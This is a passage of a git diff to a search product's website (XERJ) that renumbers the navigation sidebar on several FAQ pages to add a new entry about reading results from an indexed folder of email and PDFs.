class=""><span class="eyebrow">54</span>How does XERJ combine BM25 and kNN?</a>+ <a href="/answers/search-files-in-an-s3-bucket" class=""><span class="eyebrow">55</span>How do I search files that live in an S3 bucket?</a>+ <a href="/answers/keep-s3-bucket-index-current" class=""><span class="eyebrow">56</span>How do I keep an index current when the files live in an object store?</a>+ <a href="/answers/check-codebase-index-is-complete" class=""><span class="eyebrow">57</span>My codebase indexer says indexed but I don't see my code. How do I check it actually finished?</a>+ <a href="/answers/estimate-autoindex-time-before-running" class=""><span class="eyebrow">58</span>How do I estimate folder-indexing time?</a>+ <a href="/answers/why-autoindex-skipped-files" class=""><span class="eyebrow">59</span>Why would a folder search miss files that I can see on disk?</a>+ <a href="/answers/autoindex-dataset-refused-by-server" class=""><span class="eyebrow">60</span>One dataset was REFUSED by the server. Did I lose the whole index?</a>+ <a href="/answers/autoindex-exit-codes" class=""><span class="eyebrow">61</span>The indexer exited 3 (or 4). Did it fail?</a>+ <a href="/answers/autoindex-server-back-pressure-429" class=""><span class="eyebrow">62</span>The server pushed back with HTTP 429. Did xerj autoindex lose the run?</a>+ <a href="/answers/autoindex-says-extract-the-archive-first" class=""><span class="eyebrow">63</span>xerj autoindex recorded my Takeout .zip as junk and said to extract it first. Why?</a>+ <a href="/answers/keep-index-current-as-files-change" class=""><span class="eyebrow">64</span>How do I keep a search index up to date as files change, without re-indexing everything?</a>+ <a href="/answers/search-engine-without-docker" class=""><span class="eyebrow">65</span>Is there a single-binary local search engine I can just run?</a>+ <a href="/answers/cheap-low-volume-log-search" class=""><span class="eyebrow">66</span>What can I use for low-volume log search?</a>+ <a href="/answers/read-autoindex-progress" class=""><span class="eyebrow">67</span>How do I read autoindex progress?</a>+ <a href="/answers/resume-interrupted-autoindex-run" class=""><span class="eyebrow">68</span>The indexer died overnight. Do I have to start over?</a>+ <a href="/answers/reindex-taking-forever" class=""><span class="eyebrow">69</span>Reindexing my files is taking forever. What usually causes that?</a>+ <a href="/answers/what-is-xerj" class=""><span class="eyebrow">70</span>What is XERJ?</a>+ <a href="/answers/improve-basic-faiss-rag-pipeline" class=""><span class="eyebrow">71</span>How do I improve a basic FAISS RAG pipeline?</a>+ <a href="/answers/filter-knn-exact-scan-caveat" class=""><span class="eyebrow">72</span>Why did my filtered vector search get slower when I added a filter?</a>+ <a href="/answers/vector-database-vs-full-text-search" class=""><span class="eyebrow">73</span>What's the actual difference between a vector database and full-text search when I have a folder?</a>+ <a href="/answers/share-folder-read-only-search-without-uploading" class=""><span class="eyebrow">74</span>How do I give my lawyer or accountant read-only search over a folder of email and PDFs without uploading it?</a>+ <a href="/answers/share-local-search-index-through-a-tunnel" class=""><span class="eyebrow">75</span>How do I let someone outside my network search an index on my laptop without opening a port?</a>+ <a href="/answers/what-a-share-link-guest-can-reach" class=""><span class="eyebrow">76</span>If I share one index with a link and a passcode, what can that person actually reach on my node?</a></div><div class="group"><span class="label">COMPARISONS</span>diff --git a/landing/answers/search-openapi-spec-for-agent.html b/landing/answers/search-openapi-spec-for-agent.htmlindex be9fcbfe4..d2b9f663b 100644--- a/landing/answers/search-openapi-spec-for-agent.html+++ b/landing/answers/search-openapi-spec-for-agent.html@@ -179,43 +179,44 @@<a href="/answers/index-multiple-csv-files" class=""><span class="eyebrow">36</span>I have a directory of CSV exports. How do I query them without opening each one in Excel?</a><a href="/answers/search-file-contents-in-a-folder" class=""><span class="eyebrow">37</span>I have a folder of PDFs, Word docs, and markdown. How do I search all of them at once?</a><a href="/answers/search-zendesk-ticket-json-export" class=""><span class="eyebrow">38</span>I have a JSON export of Jira issues (or Zendesk tickets). How do I search it like a help-center search?</a>- <a href="/answers/search-jupyter-notebook-cells" class=""><span class="eyebrow">39</span>I need to find a function I wrote in a notebook months ago. How do I search all .ipynb files and the .py next to them?</a>- <a href="/answers/search-html-export" class=""><span class="eyebrow">40</span>I saved a help-center as HTML. How do I search it like the real help-center search?</a>- <a href="/answers/is-pdf-indexing-efficient" class=""><span class="eyebrow">41</span>Is it efficient to index PDF files?</a>- <a href="/answers/full-text-search-browser-history" class=""><span class="eyebrow">42</span>Is there a way to full-text search my browser history file itself?</a>- <a href="/answers/search-openapi-spec-for-agent" class="active"><span class="eyebrow">43</span>My agent needs to look up endpoints in a big OpenAPI spec and the SDK markdown. What's the right way?</a>- <a href="/answers/search-obsidian-pdf-docx-attachments" class=""><span class="eyebrow">44</span>What's the best way to search markdown notes and PDFs in the same vault?</a>- <a href="/answers/search-json-and-jsonl-logs" class=""><span class="eyebrow">45</span>What's the easiest way to search JSON logs plus some old gzip text logs in the same folder?</a>- <a href="/answers/notion-export-duplicate-search-results" class=""><span class="eyebrow">46</span>Why does my Notion export duplicate titles?</a>- <a href="/answers/search-gmail-takeout-mbox-locally" class=""><span class="eyebrow">47</span>I exported my Gmail with Google Takeout. How do I search that mbox file locally?</a>- <a href="/answers/how-xerj-autoindexes-a-folder" class=""><span class="eyebrow">48</span>I want to point something at a folder and then ask questions about what's in it. What should I use?</a>- <a href="/answers/rag-without-vector-database" class=""><span class="eyebrow">49</span>How do I build RAG without a vector database?</a>- <a href="/answers/hybrid-search-quality-measured-ndcg" class=""><span class="eyebrow">50</span>How much better is hybrid search than BM25? Measured nDCG numbers</a>- <a href="/answers/rerank-search-results-calibrated-judge" class=""><span class="eyebrow">51</span>How do I rerank search results with a calibrated relevance judge?</a>- <a href="/answers/reciprocal-rank-fusion-when-to-use" class=""><span class="eyebrow">52</span>What is Reciprocal Rank Fusion?</a>- <a href="/answers/how-xerj-combines-search" class=""><span class="eyebrow">53</span>How does XERJ combine BM25 and kNN?</a>- <a href="/answers/search-files-in-an-s3-bucket" class=""><span class="eyebrow">54</span>How do I search files that live in an S3 bucket?</a>- <a href="/answers/keep-s3-bucket-index-current" class=""><span class="eyebrow">55</span>How do I keep an index current when the files live in an object store?</a>- <a href="/answers/check-codebase-index-is-complete" class=""><span class="eyebrow">56</span>My codebase indexer says indexed but I don't see my code. How do I check it actually finished?</a>- <a href="/answers/estimate-autoindex-time-before-running" class=""><span class="eyebrow">57</span>How do I estimate folder-indexing time?</a>- <a href="/answers/why-autoindex-skipped-files" class=""><span class="eyebrow">58</span>Why would a folder search miss files that I can see on disk?</a>- <a href="/answers/autoindex-dataset-refused-by-server" class=""><span class="eyebrow">59</span>One dataset was REFUSED by the server. Did I lose the whole index?</a>- <a href="/answers/autoindex-exit-codes" class=""><span class="eyebrow">60</span>The indexer exited 3 (or 4). Did it fail?</a>- <a href="/answers/autoindex-server-back-pressure-429" class=""><span class="eyebrow">61</span>The server pushed back with HTTP 429. Did xerj autoindex lose the run?</a>- <a href="/answers/autoindex-says-extract-the-archive-first" class=""><span class="eyebrow">62</span>xerj autoindex recorded my Takeout .zip as junk and said to extract it first. Why?</a>- <a href="/answers/keep-index-current-as-files-change" class=""><span class="eyebrow">63</span>How do I keep a search index up to date as files change, without re-indexing everything?</a>- <a href="/answers/search-engine-without-docker" class=""><span class="eyebrow">64</span>Is there a single-binary local search engine I can just run?</a>- <a href="/answers/cheap-low-volume-log-search" class=""><span class="eyebrow">65</span>What can I use for low-volume log search?</a>- <a href="/answers/read-autoindex-progress" class=""><span class="eyebrow">66</span>How do I read autoindex progress?</a>- <a href="/answers/resume-interrupted-autoindex-run" class=""><span class="eyebrow">67</span>The indexer died overnight. Do I have to start over?</a>- <a href="/answers/reindex-taking-forever" class=""><span class="eyebrow">68</span>Reindexing my files is taking forever. What usually causes that?</a>- <a href="/answers/what-is-xerj" class=""><span class="eyebrow">69</span>What is XERJ?</a>- <a href="/answers/improve-basic-faiss-rag-pipeline" class=""><span class="eyebrow">70</span>How do I improve a basic FAISS RAG pipeline?</a>- <a href="/answers/filter-knn-exact-scan-caveat" class=""><span class="eyebrow">71</span>Why did my filtered vector search get slower when I added a filter?</a>- <a href="/answers/vector-database-vs-full-text-search" class=""><span class="eyebrow">72</span>What's the actual difference between a vector database and full-text search when I have a folder?</a>- <a href="/answers/share-folder-read-only-search-without-uploading" class=""><span class="eyebrow">73</span>How do I give my lawyer or accountant read-only search over a folder of email and PDFs without uploading it?</a>- <a href="/answers/share-local-search-index-through-a-tunnel" class=""><span class="eyebrow">74</span>How do I let someone outside my network search an index on my laptop without opening a port?</a>- <a href="/answers/what-a-share-link-guest-can-reach" class=""><span class="eyebrow">75</span>If I share one index with a link and a passcode, what can that person actually reach on my node?</a>+ <a href="/answers/read-indexed-email-and-pdf-folder" class=""><span class="eyebrow">39</span>I indexed a folder of email and PDFs. How do I actually read what it found?</a>+ <a href="/answers/search-jupyter-notebook-cells" class=""><span class="eyebrow">40</span>I need to find a function I wrote in a notebook months ago. How do I search all .ipynb files and the .py next to them?</a>+ <a href="/answers/search-html-export" class=""><span class="eyebrow">41</span>I saved a help-center as HTML. How do I search it like the real help-center search?</a>+ <a href="/answers/is-pdf-indexing-efficient" class=""><span class="eyebrow">42</span>Is it efficient to index PDF files?</a>+ <a href="/answers/full-text-search-browser-history" class=""><span class="eyebrow">43</span>Is there a way to full-text search my browser history file itself?</a>+ <a href="/answers/search-openapi-spec-for-agent" class="active"><span class="eyebrow">44</span>My agent needs to look up endpoints in a big OpenAPI spec and the SDK markdown. What's the right way?</a>+ <a href="/answers/search-obsidian-pdf-docx-attachments" class=""><span class="eyebrow">45</span>What's the best way to search markdown notes and PDFs in the same vault?</a>+ <a href="/answers/search-json-and-jsonl-logs" class=""><span class="eyebrow">46</span>What's the easiest way to search JSON logs plus some old gzip text logs in the same folder?</a>+ <a href="/answers/notion-export-duplicate-search-results" class=""><span class="eyebrow">47</span>Why does my Notion export duplicate titles?</a>+ <a href="/answers/search-gmail-takeout-mbox-locally" class=""><span class="eyebrow">48</span>I exported my Gmail with Google Takeout. How do I search that mbox file locally?</a>+ <a href="/answers/how-xerj-autoindexes-a-folder" class=""><span class="eyebrow">49</span>I want to point something at a folder and then ask questions about what's in it. What should I use?</a>+ <a href="/answers/rag-without-vector-database" class=""><span class="eyebrow">50</span>How do I build RAG without a vector database?</a>+ <a href="/answers/hybrid-search-quality-measured-ndcg" class=""><span class="eyebrow">51</span>How much better is hybrid search than BM25? Measured nDCG numbers</a>+ <a href="/answers/rerank-search-results-calibrated-judge" class=""><span class="eyebrow">52</span>How do I rerank search results with a calibrated relevance judge?</a>+ <a href="/answers/reciprocal-rank-fusion-when-to-use" class=""><span class="eyebrow">53</span>What is Reciprocal Rank Fusion?</a>+ <a href="/answers/how-xerj-combines-search" class=""><span class="eyebrow">54</span>How does XERJ combine BM25 and kNN?</a>+ <a href="/answers/search-files-in-an-s3-bucket" class=""><span class="eyebrow">55</span>How do I search files that live in an S3 bucket?</a>+ <a href="/answers/keep-s3-bucket-index-current" class=""><span class="eyebrow">56</span>How do I keep an index current when the files live in an object store?</a>+ <a href="/answers/check-codebase-index-is-complete" class=""><span class="eyebrow">57</span>My codebase indexer says indexed but I don't see my code. How do I check it actually finished?</a>+ <a href="/answers/estimate-autoindex-time-before-running" class=""><span class="eyebrow">58</span>How do I estimate folder-indexing time?</a>+ <a href="/answers/why-autoindex-skipped-files" class=""><span class="eyebrow">59</span>Why would a folder search miss files that I can see on disk?</a>+ <a href="/answers/autoindex-dataset-refused-by-server" class=""><span class="eyebrow">60</span>One dataset was REFUSED by the server. Did I lose the whole index?</a>+ <a href="/answers/autoindex-exit-codes" class=""><span class="eyebrow">61</span>The indexer exited 3 (or 4). Did it fail?</a>+ <a href="/answers/autoindex-server-back-pressure-429" class=""><span class="eyebrow">62</span>The server pushed back with HTTP 429. Did xerj autoindex lose the run?</a>+ <a href="/answers/autoindex-says-extract-the-archive-first" class=""><span class="eyebrow">63</span>xerj autoindex recorded my Takeout .zip as junk and said to extract it first. Why?</a>+ <a href="/answers/keep-index-current-as-files-change" class=""><span class="eyebrow">64</span>How do I keep a search index up to date as files change, without re-indexing everything?</a>+ <a href="/answers/search-engine-without-docker" class=""><span class="eyebrow">65</span>Is there a single-binary local search engine I can just run?</a>+ <a href="/answers/cheap-low-volume-log-search" class=""><span class="eyebrow">66</span>What can I use for low-volume log search?</a>+ <a href="/answers/read-autoindex-progress" class=""><span class="eyebrow">67</span>How do I read autoindex progress?</a>+ <a href="/answers/resume-interrupted-autoindex-run" class=""><span class="eyebrow">68</span>The indexer died overnight. Do I have to start over?</a>+ <a href="/answers/reindex-taking-forever" class=""><span class="eyebrow">69</span>Reindexing my files is taking forever. What usually causes that?</a>+ <a href="/answers/what-is-xerj" class=""><span class="eyebrow">70</span>What is XERJ?</a>+ <a href="/answers/improve-basic-faiss-rag-pipeline" class=""><span class="eyebrow">71</span>How do I improve a basic FAISS RAG pipeline?</a>+ <a href="/answers/filter-knn-exact-scan-caveat" class=""><span class="eyebrow">72</span>Why did my filtered vector search get slower when I added a filter?</a>+ <a href="/answers/vector-database-vs-full-text-search" class=""><span class="eyebrow">73</span>What's the actual difference between a vector database and full-text search when I have a folder?</a>+ <a href="/answers/share-folder-read-only-search-without-uploading" class=""><span class="eyebrow">74</span>How do I give my lawyer or accountant read-only search over a folder of email and PDFs without uploading it?</a>+ <a href="/answers/share-local-search-index-through-a-tunnel" class=""><span class="eyebrow">75</span>How do I let someone outside my network search an index on my laptop without opening a port?</a>+ <a href="/answers/what-a-share-link-guest-can-reach" class=""><span class="eyebrow">76</span>If I share one index with a link and a passcode, what can that person actually reach on my node?</a></div><div class="group"><span class="label">COMPARISONS</span>diff --git a/landing/answers/search-slack-json-export.html b/landing/answers/search-slack-json-export.htmlindex d83e62677..b0dbd28a6 100644--- a/landing/answers/search-slack-json-export.html+++ b/landing/answers/search-slack-json-export.html@@ -179,43 +179,44 @@<a href="/answers/index-multiple-csv-files" class=""><span class="eyebrow">36</span>I have a directory of CSV exports. How do I query them without opening each one in Excel?</a><a href="/answers/search-file-contents-in-a-folder" class=""><span class="eyebrow">37</span>I have a folder of PDFs, Word docs, and markdown. How do I search all of them at once?</a><a href="/answers/search-zendesk-ticket-json-export" class=""><span class="eyebrow">38</span>I have a JSON export of Jira issues (or Zendesk tickets). How do I search it like a help-center search?</a>- <a href="/answers/search-jupyter-notebook-cells" class=""><span class="eyebrow">39</span>I need to find a function I wrote in a notebook months ago. How do I search all .ipynb files and the .py next to them?</a>- <a href="/answers/search-html-export" class=""><span class="eyebrow">40</span>I saved a help-center as HTML. How do I search it like the real help-center search?</a>- <a href="/answers/is-pdf-indexing-efficient" class=""><span class="eyebrow">41</span>Is it efficient to index PDF files?</a>- <a href="/answers/full-text-search-browser-history" class=""><span class="eyebrow">42</span>Is there a way to full-text search my browser history file itself?</a>- <a href="/answers/search-openapi-spec-for-agent" class=""><span class="eyebrow">43</span>My agent needs to look up endpoints in a big OpenAPI spec and the SDK markdown. What's the right way?</a>- <a href="/answers/search-obsidian-pdf-docx-attachments" class=""><span class="eyebrow">44</span>What's the best way to search markdown notes and PDFs in the same vault?</a>- <a href="/answers/search-json-and-jsonl-logs" class=""><span class="eyebrow">45</span>What's the easiest way to search JSON logs plus some old gzip text logs in the same folder?</a>- <a href="/answers/notion-export-duplicate-search-results" class=""><span class="eyebrow">46</span>Why does my Notion export duplicate titles?</a>- <a href="/answers/search-gmail-takeout-mbox-locally" class=""><span class="eyebrow">47</span>I exported my Gmail with Google Takeout. How do I search that mbox file locally?</a>- <a href="/answers/how-xerj-autoindexes-a-folder" class=""><span class="eyebrow">48</span>I want to point something at a folder and then ask questions about what's in it. What should I use?</a>- <a href="/answers/rag-without-vector-database" class=""><span class="eyebrow">49</span>How do I build RAG without a vector database?</a>- <a href="/answers/hybrid-search-quality-measured-ndcg" class=""><span class="eyebrow">50</span>How much better is hybrid search than BM25? Measured nDCG numbers</a>- <a href="/answers/rerank-search-results-calibrated-judge" class=""><span class="eyebrow">51</span>How do I rerank search results with a calibrated relevance judge?</a>- <a href="/answers/reciprocal-rank-fusion-when-to-use" class=""><span class="eyebrow">52</span>What is Reciprocal Rank Fusion?</a>- <a href="/answers/how-xerj-combines-search" class=""><span class="eyebrow">53</span>How does XERJ combine BM25 and kNN?</a>- <a href="/answers/search-files-in-an-s3-bucket" class=""><span class="eyebrow">54</span>How do I search files that live in an S3 bucket?</a>- <a href="/answers/keep-s3-bucket-index-current" class=""><span class="eyebrow">55</span>How do I keep an index current when the files live in an object store?</a>- <a href="/answers/check-codebase-index-is-complete" class=""><span class="eyebrow">56</span>My codebase indexer says indexed but I don't see my code. How do I check it actually finished?</a>- <a href="/answers/estimate-autoindex-time-before-running" class=""><span class="eyebrow">57</span>How do I estimate folder-indexing time?</a>- <a href="/answers/why-autoindex-skipped-files" class=""><span class="eyebrow">58</span>Why would a folder search miss files that I can see on disk?</a>- <a href="/answers/autoindex-dataset-refused-by-server" class=""><span class="eyebrow">59</span>One dataset was REFUSED by the server. Did I lose the whole index?</a>- <a href="/answers/autoindex-exit-codes" class=""><span class="eyebrow">60</span>The indexer exited 3 (or 4). Did it fail?</a>- <a href="/answers/autoindex-server-back-pressure-429" class=""><span class="eyebrow">61</span>The server pushed back with HTTP 429. Did xerj autoindex lose the run?</a>- <a href="/answers/autoindex-says-extract-the-archive-first" class=""><span class="eyebrow">62</span>xerj autoindex recorded my Takeout .zip as junk and said to extract it first. Why?</a>- <a href="/answers/keep-index-current-as-files-change" class=""><span class="eyebrow">63</span>How do I keep a search index up to date as files change, without re-indexing everything?</a>- <a href="/answers/search-engine-without-docker" class=""><span class="eyebrow">64</span>Is there a single-binary local search engine I can just run?</a>- <a href="/answers/cheap-low-volume-log-search" class=""><span class="eyebrow">65</span>What can I use for low-volume log search?</a>- <a href="/answers/read-autoindex-progress" class=""><span class="eyebrow">66</span>How do I read autoindex progress?</a>- <a href="/answers/resume-interrupted-autoindex-run" class=""><span class="eyebrow">67</span>The indexer died overnight. Do I have to start over?</a>- <a href="/answers/reindex-taking-forever" class=""><span class="eyebrow">68</span>Reindexing my files is taking forever. What usually causes that?</a>- <a href="/answers/what-is-xerj" class=""><span class="eyebrow">69</span>What is XERJ?</a>- <a href="/answers/improve-basic-faiss-rag-pipeline" class=""><span class="eyebrow">70</span>How do I improve a basic FAISS RAG pipeline?</a>- <a href="/answers/filter-knn-exact-scan-caveat" class=""><span class="eyebrow">71</span>Why did my filtered vector search get slower when I added a filter?</a>- <a href="/answers/vector-database-vs-full-text-search" class=""><span class="eyebrow">72</span>What's the actual difference between a vector database and full-text search when I have a folder?</a>- <a href="/answers/share-folder-read-only-search-without-uploading" class=""><span class="eyebrow">73</span>How do I give my lawyer or accountant read-only search over a folder of email and PDFs without uploading it?</a>- <a href="/answers/share-local-search-index-through-a-tunnel" class=""><span class="eyebrow">74</span>How do I let someone outside my network search an index on my laptop without opening a port?</a>- <a href="/answers/what-a-share-link-guest-can-reach" class=""><span class="eyebrow">75</span>If I share one index with a link and a passcode, what can that person actually reach on my node?</a>+ <a href="/answers/read-indexed-email-and-pdf-folder" class=""><span class="eyebrow">39</span>I indexed a folder of email and PDFs. How do I actually read what it found?</a>+ <a href="/answers/search-jupyter-notebook-cells" class=""><span class="eyebrow">40</span>I need to find a function I wrote in a notebook months ago. How do I search all .ipynb files and the .py next to them?</a>+ <a href="/answers/search-html-export" class=""><span class="eyebrow">41</span>I saved a help-center as HTML. How do I search it like the real help-center search?</a>+ <a href="/answers/is-pdf-indexing-efficient" class=""><span class="eyebrow">42</span>Is it efficient to index PDF files?</a>+ <a href="/answers/full-text-search-browser-history" class=""><span class="eyebrow">43</span>Is there a way to full-text search my browser history file itself?</a>+ <a href="/answers/search-openapi-spec-for-agent" class=""><span class="eyebrow">44</span>My agent needs to look up endpoints in a big OpenAPI spec and the SDK markdown. What's the right way?</a>+ <a href="/answers/search-obsidian-pdf-docx-attachments" class=""><span class="eyebrow">45</span>What's the best way to search markdown notes and PDFs in the same vault?</a>+ <a href="/answers/search-json-and-jsonl-logs" class=""><span class="eyebrow">46</span>What's the easiest way to search JSON logs plus some old gzip text logs in the same folder?</a>+ <a href="/answers/notion-export-duplicate-search-results" class=""><span class="eyebrow">47</span>Why does my Notion export duplicate titles?</a>+ <a href="/answers/search-gmail-takeout-mbox-locally" class=""><span class="eyebrow">48</span>I exported my Gmail with Google Takeout. How do I search that mbox file locally?</a>+ <a href="/answers/how-xerj-autoindexes-a-folder" class=""><span class="eyebrow">49</span>I want to point something at a folder and then ask questions about what's in it. What should I use?</a>+ <a href="/answers/rag-without-vector-database" class=""><span class="eyebrow">50</span>How do I build RAG without a vector database?</a>+ <a href="/answers/hybrid-search-quality-measured-ndcg" class=""><span class="eyebrow">51</span>How much better is hybrid search than BM25? Measured nDCG numbers</a>+ <a href="/answers/rerank-search-results-calibrated-judge" class=""><span class="eyebrow">52</span>How do I rerank search results with a calibrated relevance judge?</a>+ <a href="/answers/reciprocal-rank-fusion-when-to-use" class=""><span class="eyebrow">53</span>What is Reciprocal Rank Fusion?</a>+ <a href="/answers/how-xerj-combines-search" class=""><span class="eyebrow">54</span>How does XERJ combine BM25 and kNN?</a>+ <a href="/answers/search-files-in-an-s3-bucket" class=""><span class="eyebrow">55</span>How do I search files that live in an S3 bucket?</a>+ <a href="/answers/keep-s3-bucket-index-current" class=""><span class="eyebrow">56</span>How do I keep an index current when the files live in an object store?</a>+ <a href="/answers/check-codebase-index-is-complete" class=""><span class="eyebrow">57</span>My codebase indexer says indexed but I don't see my code. How do I check it actually finished?</a>+ <a href="/answers/estimate-autoindex-time-before-running" class=""><span class="eyebrow">58</span>How do I estimate folder-indexing time?</a>+ <a href="/answers/why-autoindex-skipped-files" class=""><span class="eyebrow">59</span>Why would a folder search miss files that I can see on disk?</a>+ <a href="/answers/autoindex-dataset-refused-by-server" class=""><span class="eyebrow">60</span>One dataset was REFUSED by the server. Did I lose the whole index?</a>+ <a href="/answers/autoindex-exit-codes" class=""><span class="eyebrow">61</span>The indexer exited 3 (or 4). Did it fail?</a>+ <a href="/answers/autoindex-server-back-pressure-429" class=""><span class="eyebrow">62</span>The server pushed back with HTTP 429. Did xerj autoindex lose the run?</a>+ <a href="/answers/autoindex-says-extract-the-archive-first" class=""><span class="eyebrow">63</span>xerj autoindex recorded my Takeout .zip as junk and said to extract it first. Why?</a>+ <a href="/answers/keep-index-current-as-files-change" class=""><span class="eyebrow">64</span>How do I keep a search index up to date as files change, without re-indexing everything?</a>+ <a href="/answers/search-engine-without-docker" class=""><span class="eyebrow">65</span>Is there a single-binary local search engine I can just run?</a>+ <a href="/answers/cheap-low-volume-log-search" class=""><span class="eyebrow">66</span>What can I use for low-volume log search?</a>+ <a href="/answers/read-autoindex-progress" class=""><span class="eyebrow">67</span>How do I read autoindex progress?</a>+ <a href="/answers/resume-interrupted-autoindex-run" class=""><span class="eyebrow">68</span>The indexer died overnight. Do I have to start over?</a>+ <a href="/answers/reindex-taking-forever" class=""><span class="eyebrow">69</span>Reindexing my files is taking forever. What usually causes that?</a>+ <a href="/answers/what-is-xerj" class=""><span class="eyebrow">70</span>What is XERJ?</a>+ <a href="/answers/improve-basic-faiss-rag-pipeline" class=""><span class="eyebrow">71</span>How do I improve a basic FAISS RAG pipeline?</a>+ <a href="/answers/filter-knn-exact-scan-caveat" class=""><span class="eyebrow">72</span>Why did my filtered vector search get slower when I added a filter?</a>+ <a href="/answers/vector-database-vs-full-text-search" class=""><span class="eyebrow">73</span>What's the actual difference between a vector database and full-text search when I have a folder?</a>+ <a href="/answers/share-folder-read-only-search-without-uploading" class=""><span class="eyebrow">74</span>How do I give my lawyer or accountant read-only search over a folder of email and PDFs without uploading it?</a>+ <a href="/answers/share-local-search-index-through-a-tunnel" class=""><span class="eyebrow">75</span>How do I let someone outside my network search an index on my laptop without opening a port?</a>+ <a href="/answers/what-a-share-link-guest-can-reach" class=""><span class="eyebrow">76</span>If I share one index with a link and a passcode, what can that person actually reach on my node?</a></div><div class="group"><span class="label">COMPARISONS</span>diff --git a/landing/answers/search-sql-dump-file.html b/landing/answers/search-sql-dump-file.htmlindex c2aa7d1d8..c7be668ab 100644--- a/landing/answers/search-sql-dump-file.html+++ b/landing/answers/search-sql-dump-file.html@@ -179,43 +179,44 @@<a href="/answers/index-multiple-csv-files" class=""><span class="eyebrow">36</span>I have a directory of CSV exports. How do I query them without opening each one in Excel?</a><a href="/answers/search-file-contents-in-a-folder" class=""><span class="eyebrow">37</span>I have a folder of PDFs, Word docs, and markdown. How do I search all of them at once?</a><a href="/answers/search-zendesk-ticket-json-export" class=""><span class="eyebrow">38</span>I have a JSON export of Jira issues (or Zendesk tickets). How do I search it like a help-center search?</a>- <a href="/answers/search-jupyter-notebook-cells" class=""><span class="eyebrow">39</span>I need to find a function I wrote in a notebook months ago. How do I search all .ipynb files and the .py next to them?</a>- <a href="/answers/search-html-export" class=""><span class="eyebrow">40</span>I saved a help-center as HTML. How do I search it like the real help-center search?</a>- <a href="/answers/is-pdf-indexing-efficient" class=""><span class="eyebrow">41</span>Is it efficient to index PDF files?</a>- <a href="/answers/full-text-search-browser-history" class=""><span class="eyebrow">42</span>Is there a way to full-text search my browser history file itself?</a>- <a href="/answers/search-openapi-spec-for-agent" class=""><span class="eyebrow">43</span>My agent needs to look up endpoints in a big OpenAPI spec and the SDK markdown. What's the right way?</a>- <a href="/answers/search-obsidian-pdf-docx-attachments" class=""><span class="eyebrow">44</span>What's the best way to search markdown notes and PDFs in the same vault?</a>- <a href="/answers/search-json-and-jsonl-logs" class=""><span class="eyebrow">45</span>What's the easiest way to search JSON logs plus some old gzip text logs in the same folder?</a>- <a href="/answers/notion-export-duplicate-search-results" class=""><span class="eyebrow">46</span>Why does my Notion export duplicate titles?</a>- <a href="/answers/search-gmail-takeout-mbox-locally" class=""><span class="eyebrow">47</span>I exported my Gmail with Google Takeout. How do I search that mbox file locally?</a>- <a href="/answers/how-xerj-autoindexes-a-folder" class=""><span class="eyebrow">48</span>I want to point something at a folder and then ask questions about what's in it. What should I use?</a>- <a href="/answers/rag-without-vector-database" class=""><span class="eyebrow">49</span>How do I build RAG without a vector database?</a>- <a href="/answers/hybrid-search-quality-measured-ndcg" class=""><span class="eyebrow">50</span>How much better is hybrid search than BM25? Measured nDCG numbers</a>- <a href="/answers/rerank-search-results-calibrated-judge" class=""><span class="eyebrow">51</span>How do I rerank search results with a calibrated relevance judge?</a>- <a href="/answers/reciprocal-rank-fusion-when-to-use" class=""><span class="eyebrow">52</span>What is Reciprocal Rank Fusion?</a>- <a href="/answers/how-xerj-combines-search" class=""><span class="eyebrow">53</span>How does XERJ combine BM25 and kNN?</a>- <a href="/answers/search-files-in-an-s3-bucket" class=""><span class="eyebrow">54</span>How do I search files that live in an S3 bucket?</a>- <a href="/answers/keep-s3-bucket-index-current" class=""><span class="eyebrow">55</span>How do I keep an index current when the files live in an object store?</a>- <a href="/answers/check-codebase-index-is-complete" class=""><span class="eyebrow">56</span>My codebase indexer says indexed but I don't see my code. How do I check it actually finished?</a>- <a href="/answers/estimate-autoindex-time-before-running" class=""><span class="eyebrow">57</span>How do I estimate folder-indexing time?</a>- <a href="/answers/why-autoindex-skipped-files" class=""><span class="eyebrow">58</span>Why would a folder search miss files that I can see on disk?</a>- <a href="/answers/autoindex-dataset-refused-by-server" class=""><span class="eyebrow">59</span>One dataset was REFUSED by the server. Did I lose the whole index?</a>- <a href="/answers/autoindex-exit-codes" class=""><span class="eyebrow">60</span>The indexer exited 3 (or 4). Did it fail?</a>- <a href="/answers/autoindex-server-back-pressure-429" class=""><span class="eyebrow">61</span>The server pushed back with HTTP 429. Did xerj autoindex lose the run?</a>- <a href="/answers/autoindex-says-extract-the-archive-first" class=""><span class="eyebrow">62</span>xerj autoindex recorded my Takeout .zip as junk and said to extract it first. Why?</a>- <a href="/answers/keep-index-current-as-files-change" class=""><span class="eyebrow">63</span>How do I keep a search index up to date as files change, without re-indexing everything?</a>- <a href="/answers/search-engine-without-docker" class=""><span class="eyebrow">64</span>Is there a single-binary local search engine I can just run?</a>- <a href="/answers/cheap-low-volume-log-search" class=""><span class="eyebrow">65</span>What can I use for low-volume log search?</a>- <a href="/answers/read-autoindex-progress" class=""><span class="eyebrow">66</span>How do I read autoindex progress?</a>- <a href="/answers/resume-interrupted-autoindex-run" class=""><span class="eyebrow">67</span>The indexer died overnight. Do I have to start over?</a>- <a href="/answers/reindex-taking-forever" class=""><span class="eyebrow">68</span>Reindexing my files is taking forever. What usually causes that?</a>- <a href="/answers/what-is-xerj" class=""><span class="eyebrow">69</span>What is XERJ?</a>- <a href="/answers/improve-basic-faiss-rag-pipeline" class=""><span class="eyebrow">70</span>How do I improve a basic FAISS RAG pipeline?</a>- <a href="/answers/filter-knn-exact-scan-caveat" class=""><span class="eyebrow">71</span>Why did my filtered vector search get slower when I added a filter?</a>- <a href="/answers/vector-database-vs-full-text-search" class=""><span class="eyebrow">72</span>What's the actual difference between a vector database and full-text search when I have a folder?</a>- <a href="/answers/share-folder-read-only-search-without-uploading" class=""><span class="eyebrow">73</span>How do I give my lawyer or accountant read-only search over a folder of email and PDFs without uploading it?</a>- <a href="/answers/share-local-search-index-through-a-tunnel" class=""><span class="eyebrow">74</span>How do I let someone outside my network search an index on my laptop without opening a port?</a>- <a href="/answers/what-a-share-link-guest-can-reach" class=""><span class="eyebrow">75</span>If I share one index with a link and a passcode, what can that person actually reach on my node?</a>+ <a href="/answers/read-indexed-email-and-pdf-folder" class=""><span class="eyebrow">39</span>I indexed a folder of email and PDFs. How do I actually read what it found?</a>+ <a href="/answers/search-jupyter-notebook-cells" class=""><span class="eyebrow">40</span>I need to find a function I wrote in a notebook months ago. How do I search all .ipynb files and the .py next to them?</a>+ <a href="/answers/search-html-export" class=""><span class="eyebrow">41</span>I saved a help-center as HTML. How do I search it like the real help-center search?</a>+ <a href="/answers/is-pdf-indexing-efficient" class=""><span class="eyebrow">42</span>Is it efficient to index PDF files?</a>+ <a 